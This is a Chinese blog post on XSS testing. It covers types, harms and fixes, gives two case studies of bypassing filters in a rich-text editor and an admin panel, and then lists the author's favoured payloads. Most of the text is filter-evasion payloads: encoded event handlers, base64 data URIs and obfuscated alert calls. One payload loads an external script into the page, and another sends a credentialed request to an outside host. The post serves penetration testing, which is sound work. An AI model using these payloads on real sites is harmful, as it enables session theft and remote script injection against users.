长亭百川云 - 文章详情

xss测试利用总结(附个人常用payload)

十二

96

2024-07-23

基础

原理

攻击者嵌入恶意脚本代码到用户会访问到的页面中,用户访问该页面的时候,就会直接执行恶意的js代码

当浏览器解析html的时候遇到

类型

反射型:触发点在url参数里面,提交数据到服务器,服务器会返回给浏览器,需要手动发给用户,用户点击之后触发js代码

存储型:提交的恶意代码存储在数据库里面,只要用户访问就可以执行恶意代码

dom型:特殊的反射型xss,并没有经过服务器的处理写到了页面里,典型的就是jquery-xss

self-xss:只有自己才能看到的xss

危害

1.只要js代码能做的事xss就可以做到,最常见的就是盗取cookie或者窃取敏感信息

2.进行网页挂马,篡改网页页面

3.网络钓鱼,诱骗用户访问你的钓鱼页面

4.权限维持,记录后台登录的账户密码

5.配合浏览器漏洞进行rce

6.搭配其他漏洞组合拳,例如ssrf配合反射型xss进行命令执行

修复方案

1.对用户输入的数据进行过滤,过滤掉特殊字符和HTML标签等。可以使用一些开源的输入过滤库,如HTML Purifier。

2.输出转义:对Web应用程序的输出进行转义,将一些特殊字符转换为HTML实体,如将<转换为<,将>转换为>

3.禁止事件属性,限制输入长度

4.HttpOnly和Secure标记

挖掘思路

出现的位置

只要输入的地方就可能会有xss,一些get型的接口接受的参数也可能输出在前端

不输出在前端也有可能有xss,例如留言功能,可直接盗取管理员cookie

富文本编辑器:常见的位置就公告、活动、邮件处

上传:对于一些可以上传pdf、html、svg、gif文件的地方也有可能存在xss

不止文件内容,如果一个地方引用了某个文件的名字类似于这种,只要输出在前端的并且我们可控都可以去尝试尝试(很早之前遇到过,暂时没有截图)

测试思路

首先我会先随便输几个字符查看下在前端哪个位置,观察旁边都是啥内容

大概率需要闭合双引号、标签啥的,看看输出有没有转义可不可以绕过

然后就是绕waf了,一搬去找到一个可以用的标签,然后看看是否支持伪协议,然后去跑一遍事件属性,fuzz一下哪些可以用

w3school的事件属性:(不是全部)https://www.w3school.com.cn/tags/html\_ref\_eventattributes.asp

href,lowsrc,bgsound,background,action,dynsrc这些属性支持伪协议

案例

文本编辑器中的xss

在本人测试中遇到的文本编辑器百分之90都存在xss,这种测试不要影响真实用户,尽量用自己账户做验证,选择接受人为自己,发送邮件

抓包直接插个payload看看

点开邮件直接弹窗

有过滤的存储型xss

某企业管理后台页面

这里先随便打个payload看看怎么个事

直接404了,肯定有过滤

先随便输入个字符抓个包

换个payload试试

先挨个检查哪部分被拦截了,这里尖括号直接被拦截了

可以直接fuzz标签事件,不过尖括号就比较麻烦了,很多编码他不会拦截也不会解析,只能再返回前端看一下,这里经过测试发现Unicode编码后不会被拦截并可以被解析成尖括号

结果前端没找到,天都塌了

还有个字段是标题,本来不报有希望了,顺手看了一下结果有意外惊喜,这里右键点击以html格式修改发现输出的尖括号并没有做转义

先打个双引号进去

输出也没做处理

再构造一下payload

这里把后面的字符随便改成点正常的字符,哪里有过滤绕哪里,我是先去跑了一遍标签,还是有很多可以用的,然后就是事件属性,直接去跑一遍,找到一些可以用的事件,最后就是绕过alert(1)了

最终payload为

\"\u003cinput/onfocus=_=confirm,_(123)\u003e

成功解析

成功弹窗

绕过思路

字符替换

单引号和双引号替换反引号等等
alert替换为confirm、prompt、console.log、document.write
空格替换为换行符、/**/、/ 加一些%0a%0d
*/alert/*
括号被过滤
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
根据服务器特性进行双写大小写编码之类的
还可以引入外部的js地址
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'

各种编码

浏览器解码顺序为HTML解码 -> URL解码 -> js(unicode)解码

HTML、js、进制编码

<img src=x onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29>
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>
<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

uniode编码

<为\u003c >为\u003e(这里并不能直接替换标签中的尖括号,需要服务器先解析才可以)
<还可以为\x3c >为\x3e
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>

组和

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>

jsfuck和AAencode

变异js代码(会非常长)

http://www.jsfuck.com/

http://www.hiencode.com/aaencode.html

函数

String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) 返回UTF-16组成的字符串 解码后为alert(1)
atob('YWxlcnQoMSk=') atob函数为解码base64字符串 解码后为alert(1)
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

base64编码

<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a

加入特殊字符混淆(和编码结合)

<img src="javascrip&#116&#58alert(/xss/);">
<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>
<a href=javascript:eval("alert(111);var&#x20;x=new&#x20;XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var&#x20;d=x.responseText;alert(d);")>99999999</a>
<a href=ja&NewLine;vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title>
<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe>
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<img src="x" onerror="frames[`al`+`ert`](1)">
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
payload平台:https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
比较杂的:https://www.ddosi.org/xss-bypass/#%E6%B2%A1%E6%9C%89%E8%BF%87%E6%BB%A4%E5%99%A8%E8%A7%84%E9%81%BF%E7%9A%84%E5%9F%BA%E6%9C%AC_XSS_%E6%B5%8B%E8%AF%95

个人常用

常用标签

<a
<img
<svg
<iframe
<input
<body
<META
<form
也可以自己构造html标签

alert1变异

(alert)(1)
a=alert,a(1)
alert(String.fromCharCode(49))
[1].find(alert)
window['al'+'ert'](/xss/)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
aler\u0074(String.fr\u006fmCharC\u006fde(49))
al\u0065rt(1)
top['al\145rt'](1)
top[8680439..toString(30)](1)
eval(atob('YWxlcnQoMSk='))
"top['ale'+'rt'].call(null,'xss')"
al&#101;rt(2)
top['al\x65rt'](1)
[43804..toString(36)].some(confirm)
window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029"

个人常用payload

<img src=x onerror=alert(1)>
<img src="x" onerror="window['al'+'ert'](1)">
<svg onload=alert(1)>
<form id='test'></form><button form='test' formaction='javascript:alert(1)'>X</button>
<a href=javascript:[1].find(alert)>xss</a>
<img src=x onerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29>
<iframe src=javascript:[1].find(alert)></iframe>
<xmp onmousemove="alert(1)">test</xmp>
<form id="test"></form><button form="test" formaction="javascript:prompt(xss)">X</button>
<x onmouseover="top['ale'+'rt'].call(null,'xss')">test
<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
<input/onfocus=_=alert,_(123)>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
 <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<details open ontoggle=[43804..toString(36)].some(confirm)>
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<table><caption onclick=aler\u0074(String.fr\u006fmCharC\u006fde(49))>Click me

加交流群或者知识星球(199)可以私我

大佬莫喷,主要发布一些实战挖洞记录、比较精品的内容

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2